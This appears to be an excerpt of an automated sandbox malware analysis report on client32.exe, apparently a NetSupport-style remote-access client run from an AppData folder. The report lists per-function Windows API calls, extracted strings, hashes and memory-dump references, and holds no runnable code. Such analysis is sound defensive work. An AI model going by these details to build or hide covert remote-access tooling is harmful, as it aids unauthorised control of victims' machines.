Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 9B01677111CB0C4FDB44EF0CE451AA5B7E0FB95364F50056EE58AC3695D736E881CB45

Function 00007FF848F1A30B Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33c56636b21ff37ee420bdc45e576c96dc46c1111b9c6b454e8bb871d3de955c
Instruction ID: d1f066dcc11b591f6b9cb1f54a17f8c15e237262c630b9edc313a23c2616fca0
Opcode Fuzzy Hash: 33c56636b21ff37ee420bdc45e576c96dc46c1111b9c6b454e8bb871d3de955c
Instruction Fuzzy Hash: 06F0C237E5C95D8EEB10A668BC006A8BB91EF85768F090179E41CC71D1D76B5C81C245

Non-executed Functions

Function 00007FF848F189FA Relevance: 7.6, Strings: 6, Instructions: 92COMMON

Download Yara Rule

Strings

N_^Y, xrefs: 00007FF848F18AC2
N_^8, xrefs: 00007FF848F189FA
N_^J, xrefs: 00007FF848F18A6A
N_^N, xrefs: 00007FF848F18A7A
N_^I, xrefs: 00007FF848F18A62
N_^K, xrefs: 00007FF848F18A72

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: N_^8$N_^I$N_^J$N_^K$N_^N$N_^Y
API String ID: 0-1749913636
Opcode ID: 7b7c01e95fc68bcdb123bb4795c64948b9a0bfd07f3496849fd25ca15ee43696
Instruction ID: b6b3099a255ae988617798ee152ceeea15bff62e164b3bedddf312fded7d4a1a
Opcode Fuzzy Hash: 7b7c01e95fc68bcdb123bb4795c64948b9a0bfd07f3496849fd25ca15ee43696
Instruction Fuzzy Hash: 1421277362A01656D30237AC7C521DABB95EB903B875802F6D358CE003DE2C648787DA

Analysis Process: client32.exePID: 5404, Parent PID: 1436COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15%
Total number of Nodes:	2000
Total number of Limit Nodes:	82

Executed Functions

Function 1109E5B0 Relevance: 100.3, APIs: 42, Strings: 15, Instructions: 501
filethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1109D860: GetCurrentProcess.KERNEL32(000F01FF,?,11030703,00000000,00000000,00080000,EFF676FC,00080000,00000000,?), ref: 1109D88D
Part of subcall function 1109D860: OpenProcessToken.ADVAPI32(00000000), ref: 1109D894
Part of subcall function 1109D860: LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D8A5
Part of subcall function 1109D860: AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D8C9

LocalAlloc.KERNEL32(00000040,00000014,SeSecurityPrivilege,?,00080000,EFF676FC,00080000,00000000,?), ref: 1109E645
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 1109E65E
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 1109E669
GetVersionExA.KERNEL32(?), ref: 1109E680
GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E6EE
SetSecurityDescriptorSacl.ADVAPI32(00000000,00000001,?,00000000), ref: 1109E703
FreeLibrary.KERNEL32(00000001,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E714
CreateFileMappingA.KERNEL32(000000FF,11030703,00000004,00000000,?,?), ref: 1109E750
GetLastError.KERNEL32 ref: 1109E75D
LocalFree.KERNEL32(?), ref: 1109E786
LocalFree.KERNEL32(?), ref: 1109E793
GetLastError.KERNEL32 ref: 1109E7B0
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00000000), ref: 1109E7CE
LocalFree.KERNEL32(?), ref: 1109E7F9
LocalFree.KERNEL32(?), ref: 1109E806

Part of subcall function 1109D7D0: LoadLibraryA.KERNEL32(Advapi32.dll,00000000,1109E69E), ref: 1109D7D8

Part of subcall function 1109D810: GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 1109D824

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E832
LocalFree.KERNEL32(?), ref: 1109E8FB
LocalFree.KERNEL32(?), ref: 1109E908
_memset.LIBCMT ref: 1109E920
GetTickCount.KERNEL32 ref: 1109E928
GetCurrentProcessId.KERNEL32 ref: 1109E9D4
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E9EF
CreateEventA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?), ref: 1109EA3B
GetLastError.KERNEL32 ref: 1109EA44
GetLastError.KERNEL32(00000000), ref: 1109EA4B
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109EA80
GetLastError.KERNEL32 ref: 1109EA89
GetLastError.KERNEL32(00000000), ref: 1109EA90
CreateEventA.KERNEL32(?,00000001,00000000,?), ref: 1109EAC6
GetLastError.KERNEL32 ref: 1109EACF
GetLastError.KERNEL32(00000000), ref: 1109EAD6
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109EB0B
GetLastError.KERNEL32 ref: 1109EB1A
GetLastError.KERNEL32(00000000), ref: 1109EB1D
LocalFree.KERNEL32(?), ref: 1109EB45
LocalFree.KERNEL32(?), ref: 1109EB52
GetCurrentThreadId.KERNEL32 ref: 1109EB83
CreateThread.KERNEL32(00000000,00002000,Function_0009E140,00000000,00000000,00000030), ref: 1109EB9D
ResetEvent.KERNEL32(?), ref: 1109EBCC
ResetEvent.KERNEL32(?), ref: 1109EBD2
ResetEvent.KERNEL32(?), ref: 1109EBD8
SetEvent.KERNEL32(?), ref: 1109EBDE

Strings

Error cant create events, xrefs: 1109EC07
Error cant map view, xrefs: 1109E7DB
cant map, xrefs: 1109E808
Info - reusing existing filemap, xrefs: 1109E899
map exists, xrefs: 1109E90A
Error filemap exists, xrefs: 1109E8DD
IPC(%s) created, xrefs: 1109EBE8
Error creating filemap (%d), xrefs: 1109E764
warning map exists, xrefs: 1109E8B0
cant create thread, xrefs: 1109EBAA
SeSecurityPrivilege, xrefs: 1109E61A
S:(ML;;NW;;;LW), xrefs: 1109E6A8
cant create events, xrefs: 1109EC14
Cant create event %s, e=%d (x%x), xrefs: 1109EA59, 1109EA9E, 1109EAE4, 1109EB27
cant create filemap, xrefs: 1109E795

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$FreeLocal$Event$Create$DescriptorFileSecurity$CurrentProcessReset$LibraryModuleNameSaclThreadToken$AddressAdjustAllocCountDaclInitializeLoadLookupMappingOpenPrivilegePrivilegesProcTickValueVersionView_memset
String ID: Cant create event %s, e=%d (x%x)$Error cant create events$Error cant map view$Error creating filemap (%d)$Error filemap exists$IPC(%s) created$Info - reusing existing filemap$S:(ML;;NW;;;LW)$SeSecurityPrivilege$cant create events$cant create filemap$cant create thread$cant map$map exists$warning map exists
API String ID: 3291243470-2792520954
Opcode ID: 5f128e5d137d7e61479c73dee0859362bd36eaaf37b2cb873371865b9cdea2a1
Instruction ID: a3fd055aacadca8d823d44ca49761fd5d24e706f53ed4dbc48f97bf713fa71f6
Opcode Fuzzy Hash: 5f128e5d137d7e61479c73dee0859362bd36eaaf37b2cb873371865b9cdea2a1
Instruction Fuzzy Hash: A612B2B5E0026D9FEB24DF60CDD4EAAB7BAFB88304F0049A9E51D97640D671AD84CF50

Function 11029BB0 Relevance: 89.8, APIs: 39, Strings: 12, Instructions: 534
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(WinInet.dll,EFF676FC,759223A0,?,00000000), ref: 11029BE5
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029C7F
SetLastError.KERNEL32(00000078), ref: 11029C93
_malloc.LIBCMT ref: 11029CB7
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029CD1
GetLastError.KERNEL32 ref: 11029CF2
_free.LIBCMT ref: 11029CFE
_malloc.LIBCMT ref: 11029D07
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029D21
GetProcAddress.KERNEL32(?,InternetOpenA), ref: 11029D5B
InternetOpenA.WININET(11195264,?,?,000000FF,00000000), ref: 11029D7A
SetLastError.KERNEL32(00000078), ref: 11029D84
SetLastError.KERNEL32(00000078), ref: 11029D91
SetLastError.KERNEL32(00000078), ref: 11029D9B
_free.LIBCMT ref: 11029DA5

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029E25
SetLastError.KERNEL32(00000078), ref: 11029E3E
GetProcAddress.KERNEL32(?,InternetConnectA), ref: 11029E51
InternetConnectA.WININET(000000FF,1119A6C0,00000050,00000000,00000000,00000003,00000000,00000000), ref: 11029E6E
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029E8A
SetLastError.KERNEL32(00000078), ref: 11029EA3
GetProcAddress.KERNEL32(?,HttpOpenRequestA), ref: 11029EC9
GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 11029F1D
GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 1102A083
InternetQueryDataAvailable.WININET(1117FC4B,1102CCC1,00000000,00000000), ref: 1102A09E
SetLastError.KERNEL32(00000078), ref: 1102A150
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 1102A1A2
SetLastError.KERNEL32(00000078), ref: 1102A1B9
FreeLibrary.KERNEL32(?), ref: 1102A1CA

Strings

HttpSendRequestA, xrefs: 11029F17
InternetQueryOptionA, xrefs: 11029CCB, 11029D1B
GET, xrefs: 11029EE9
InternetQueryDataAvailable, xrefs: 1102A07D
InternetConnectA, xrefs: 11029E4B
HttpQueryInfoA, xrefs: 11029F63
HttpOpenRequestA, xrefs: 11029EC3
InternetOpenA, xrefs: 11029D55
InternetCloseHandle, xrefs: 11029C79, 11029E1F, 11029E84, 1102A19C
InternetErrorDlg, xrefs: 11029FC0
WinInet.dll, xrefs: 11029BDD
://, xrefs: 11029DC5

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Internet$FreeLibrary_free_malloc$AvailableConnectDataHeapLoadOpenQuery
String ID: ://$GET$HttpOpenRequestA$HttpQueryInfoA$HttpSendRequestA$InternetCloseHandle$InternetConnectA$InternetErrorDlg$InternetOpenA$InternetQueryDataAvailable$InternetQueryOptionA$WinInet.dll
API String ID: 3929731738-913974648
Opcode ID: 672cd097590bfd03c9fe4a36dbc9c03aeb2e34a222513bbefa7f0796f77ae97c
Instruction ID: fedf281c9ee5d08c3a8f43e513d3e5c088d5a5ed6dab1fd82504b865b87691ba
Opcode Fuzzy Hash: 672cd097590bfd03c9fe4a36dbc9c03aeb2e34a222513bbefa7f0796f77ae97c
Instruction Fuzzy Hash: 8012AC70D40229DBEB11DFE5CC88AAEFBF8FF88754F604169E425A7600EB745980CB60

Function 6EF07030 Relevance: 89.7, APIs: 21, Strings: 30, Instructions: 406
threadlibrarysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6EEF2A90: GetModuleFileNameA.KERNEL32(00000000,?,00000100), ref: 6EEF2ACB
Part of subcall function 6EEF2A90: _strrchr.LIBCMT ref: 6EEF2ADA
Part of subcall function 6EEF2A90: _strrchr.LIBCMT ref: 6EEF2AEA
Part of subcall function 6EEF2A90: wsprintfA.USER32 ref: 6EEF2B05

Part of subcall function 6EF0DBD0: _malloc.LIBCMT ref: 6EF0DBE9
Part of subcall function 6EF0DBD0: wsprintfA.USER32 ref: 6EF0DC04
Part of subcall function 6EF0DBD0: _memset.LIBCMT ref: 6EF0DC27

LoadLibraryA.KERNEL32(WinInet.dll), ref: 6EF07057
InitializeCriticalSection.KERNEL32(6EF3B898), ref: 6EF070DF
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6EF070EF
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6EF07115
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6EF0713B
WSAStartup.WSOCK32(00000101,6EF3B91A), ref: 6EF07167
_malloc.LIBCMT ref: 6EF071A3

Part of subcall function 6EF11B69: __FF_MSGBANNER.LIBCMT ref: 6EF11B82
Part of subcall function 6EF11B69: __NMSG_WRITE.LIBCMT ref: 6EF11B89
Part of subcall function 6EF11B69: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6EF1D3C1,6EF16E81,00000001,6EF16E81,?,6EF1F447,00000018,6EF37738,0000000C,6EF1F4D7), ref: 6EF11BAE

_memset.LIBCMT ref: 6EF071D3
_calloc.LIBCMT ref: 6EF07214
_malloc.LIBCMT ref: 6EF0728B
_memset.LIBCMT ref: 6EF072C1
_malloc.LIBCMT ref: 6EF072CD
_memset.LIBCMT ref: 6EF07303
GetTickCount.KERNEL32 ref: 6EF07361
CreateThread.KERNEL32(00000000,00004000,6EF06BA0,00000000,00000000,6EF3BACC), ref: 6EF0737E
SetThreadPriority.KERNEL32(00000000,00000001), ref: 6EF073AC
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\KYED2\Support\,00000104), ref: 6EF07430
GetPrivateProfileIntA.KERNEL32(htctl.packet_tracing,mode,00000000,C:\Users\user\AppData\Roaming\KYED2\Support\pci.ini), ref: 6EF074B0
GetModuleHandleA.KERNEL32(nsmtrace), ref: 6EF074C0
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 6EF07566
timeBeginPeriod.WINMM(00000001), ref: 6EF07573

Strings

NetworkSpeed, xrefs: 6EF073D7
WinInet.dll, xrefs: 6EF07052
sv.s, xrefs: 6EF071BE
General, xrefs: 6EF0733F
pci.ini, xrefs: 6EF0748F
210979, xrefs: 6EF07242
sv.ResumeEvent, xrefs: 6EF07150
sv.hRecvThread, xrefs: 6EF07397
*CMPI, xrefs: 6EF0731F
mode, xrefs: 6EF074A1
Support\, xrefs: 6EF07451
sv.gateways, xrefs: 6EF0722F
*DisconnectTimeout, xrefs: 6EF0733A
nsmtrace, xrefs: 6EF074B6
HTCTL32, xrefs: 6EF07036
NSM303008, xrefs: 6EF07257
_debug, xrefs: 6EF07502, 6EF07519, 6EF0753C, 6EF0754C
TraceFile, xrefs: 6EF07537
htctl.packet_tracing, xrefs: 6EF074A8
sv.hResponseEvent, xrefs: 6EF0712A
sv.subset.omit, xrefs: 6EF072E8
C:\Users\user\AppData\Roaming\KYED2\Support\, xrefs: 6EF0742A, 6EF07438, 6EF0744C
(iflags & CTL_REMOTE) == 0, xrefs: 6EF073C2
sv.subset.subset, xrefs: 6EF072A6
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6EF070FF, 6EF07125, 6EF0714B, 6EF071B9, 6EF0722A, 6EF072A1, 6EF072E3, 6EF07392, 6EF073BD
TraceSend, xrefs: 6EF074DB, 6EF07514
TraceRecv, xrefs: 6EF074CF, 6EF074FD
sv.hRecvThreadReadyEvent, xrefs: 6EF07104
C:\Users\user\AppData\Roaming\KYED2\Support\pci.ini, xrefs: 6EF07481, 6EF0749B
Trace, xrefs: 6EF07547

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: Create$_malloc_memset$EventModule$FileNameThread_strrchrwsprintf$AllocateBeginCountCriticalHandleHeapInitializeLibraryLoadMutexPeriodPriorityPrivateProfileSectionStartupTick_calloctime
String ID: (iflags & CTL_REMOTE) == 0$*CMPI$*DisconnectTimeout$210979$C:\Users\user\AppData\Roaming\KYED2\Support\$C:\Users\user\AppData\Roaming\KYED2\Support\pci.ini$General$HTCTL32$NSM303008$NetworkSpeed$Support\$Trace$TraceFile$TraceRecv$TraceSend$WinInet.dll$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$htctl.packet_tracing$mode$nsmtrace$pci.ini$sv.ResumeEvent$sv.gateways$sv.hRecvThread$sv.hRecvThreadReadyEvent$sv.hResponseEvent$sv.s$sv.subset.omit$sv.subset.subset
API String ID: 3160247386-788703783
Opcode ID: 14814a2392b13393e2a1c5c8315523fa979db56edb60b860c33db9caafd224f6
Instruction ID: 4e4e9bb2bd1dedcbbb552c90a55cc617cafbc9051442245c50193939e94f7570
Opcode Fuzzy Hash: 14814a2392b13393e2a1c5c8315523fa979db56edb60b860c33db9caafd224f6
Instruction Fuzzy Hash: 91D10EB19107259FEB20AFF49CB4B567B9DEF05348B14486AF809DB381E7729C458BE0

Function 110627B0 Relevance: 76.5, APIs: 22, Strings: 21, Instructions: 1221COMMON

Download Yara Rule

APIs

Part of subcall function 11145A70: GetLastError.KERNEL32(?,00000000,000000FF,?), ref: 11145AA5
Part of subcall function 11145A70: Sleep.KERNEL32(000000C8,?,?,?,?,?,?,00000000,000000FF,?), ref: 11145AB5

_fgets.LIBCMT ref: 110628E2
_strpbrk.LIBCMT ref: 11062949
_fgets.LIBCMT ref: 11062A4C
_strpbrk.LIBCMT ref: 11062AC3
__wcstoui64.LIBCMT ref: 11062ADC
_fgets.LIBCMT ref: 11062B55
_strpbrk.LIBCMT ref: 11062B7B

Strings

_include, xrefs: 11062CE9
product, xrefs: 11063172
defaults, xrefs: 11062C36
enforce, xrefs: 11062C56
_License, xrefs: 11062E76, 11062F34, 11062F4E, 110630D6, 11063140, 1106315B, 11063177, 11063271, 11063490, 11063578
/- , xrefs: 1106331E, 11063351, 11063384
licensee, xrefs: 11063573
%s.%04d.%s, xrefs: 11062DC9
cd_install, xrefs: 1106313B
expiry, xrefs: 11063250
shrink_wrap, xrefs: 11063156
Client, xrefs: 11062D82, 11062DC4
_checksum, xrefs: 11062F2F
?expirY, xrefs: 11063288
start, xrefs: 11063259, 11063270
?starT, xrefs: 11063291, 1106329D
ACM, xrefs: 110631B7
Expired, xrefs: 1106348B
inactive, xrefs: 110630D1
_version, xrefs: 11062F49
%c%04d%s, xrefs: 11062CA4

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _fgets_strpbrk$ErrorLastSleep__wcstoui64
String ID: %c%04d%s$%s.%04d.%s$/- $?expirY$?starT$ACM$Client$Expired$_License$_checksum$_include$_version$cd_install$defaults$enforce$expiry$inactive$licensee$product$shrink_wrap$start
API String ID: 716802716-1571441106
Opcode ID: 8c48605410795d9e3cd25b9d18f26d9f12cdafcf37fc271b1508f1aea2d58ae0
Instruction ID: a72cdd11ea0a2970362cd59f127853d680cd45206dcb20ec64d0abc9fb05f950
Opcode Fuzzy Hash: 8c48605410795d9e3cd25b9d18f26d9f12cdafcf37fc271b1508f1aea2d58ae0
Instruction Fuzzy Hash: 7DA2C475E0465A9FEB11CF64DC40BEFB7B8AF44345F0441D8E849AB280EB71AA45CF91

Function 6EEFA980 Relevance: 56.4, APIs: 28, Strings: 4, Instructions: 389
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6EEF5840: inet_ntoa.WSOCK32(00000080,?,00000000,?,6EEF8F91,00000000,00000000,6EF3B8DA,?,00000080), ref: 6EEF5852

EnterCriticalSection.KERNEL32(6EF3B898,?,00000000,00000000), ref: 6EEFAA11
LeaveCriticalSection.KERNEL32(6EF3B898), ref: 6EEFAA58
LeaveCriticalSection.KERNEL32(6EF3B898), ref: 6EEFAA68
LeaveCriticalSection.KERNEL32(6EF3B898), ref: 6EEFAA94
WSAGetLastError.WSOCK32(?,?,?,?,?,00000000,00000000), ref: 6EEFAB0B
socket.WSOCK32(00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAB4E
WSAGetLastError.WSOCK32(00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAB5A
#21.WSOCK32(00000000,0000FFFF,00001001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAB8E
#21.WSOCK32(00000000,0000FFFF,00000080,?,00000004,00000000,0000FFFF,00001001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFABB1
#21.WSOCK32(00000000,00000006,00000001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFABE3
bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAC18
WSAGetLastError.WSOCK32(00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAC21
closesocket.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAC29
htons.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAC65
WSASetBlockingHook.WSOCK32(6EEF63A0,00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAC76
WSAGetLastError.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAC8F
WSAUnhookBlockingHook.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAC96
closesocket.WSOCK32(00000000,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAC9C
WSAGetLastError.WSOCK32(?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFACFD
WSAUnhookBlockingHook.WSOCK32(?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAD04
closesocket.WSOCK32(00000000,?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAD0A
WSAUnhookBlockingHook.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAD45
EnterCriticalSection.KERNEL32(6EF3B898,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEFAD4F
InitializeCriticalSection.KERNEL32(-6EF3CB4A), ref: 6EEFADE6

Part of subcall function 6EEF8FB0: _memset.LIBCMT ref: 6EEF8FE4
Part of subcall function 6EEF8FB0: getsockname.WSOCK32(?,?,00000010,?,03792CD0,?), ref: 6EEF9005

getsockname.WSOCK32(00000000,?,?), ref: 6EEFAE4B
LeaveCriticalSection.KERNEL32(6EF3B898), ref: 6EEFAE60
GetTickCount.KERNEL32 ref: 6EEFAE6C
InterlockedExchange.KERNEL32(?,00000000), ref: 6EEFAE7A

Strings

Connect error to %s using hijacked socket, error %d, xrefs: 6EEFAB17
Cannot connect to gateway %s, error %d, xrefs: 6EEFACA6
*TcpNoDelay, xrefs: 6EEFABB8
Cannot connect to gateway %s via web proxy, error %d, xrefs: 6EEFAD14

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$ErrorLast$BlockingHookLeave$Unhookclosesocket$Entergetsockname$CountExchangeInitializeInterlockedTick_memsetbindhtonsinet_ntoasocket
String ID: *TcpNoDelay$Cannot connect to gateway %s via web proxy, error %d$Cannot connect to gateway %s, error %d$Connect error to %s using hijacked socket, error %d
API String ID: 692187944-2561115898
Opcode ID: 48f358338affb7377c58fee7ef996e0b1e4ef9d4e17d535d33d40eb1d10a47c5
Instruction ID: c0321103268a5a31a62279e54a193ec43184e812b4db6175e7e3b3a6f44e01ac
Opcode Fuzzy Hash: 48f358338affb7377c58fee7ef996e0b1e4ef9d4e17d535d33d40eb1d10a47c5
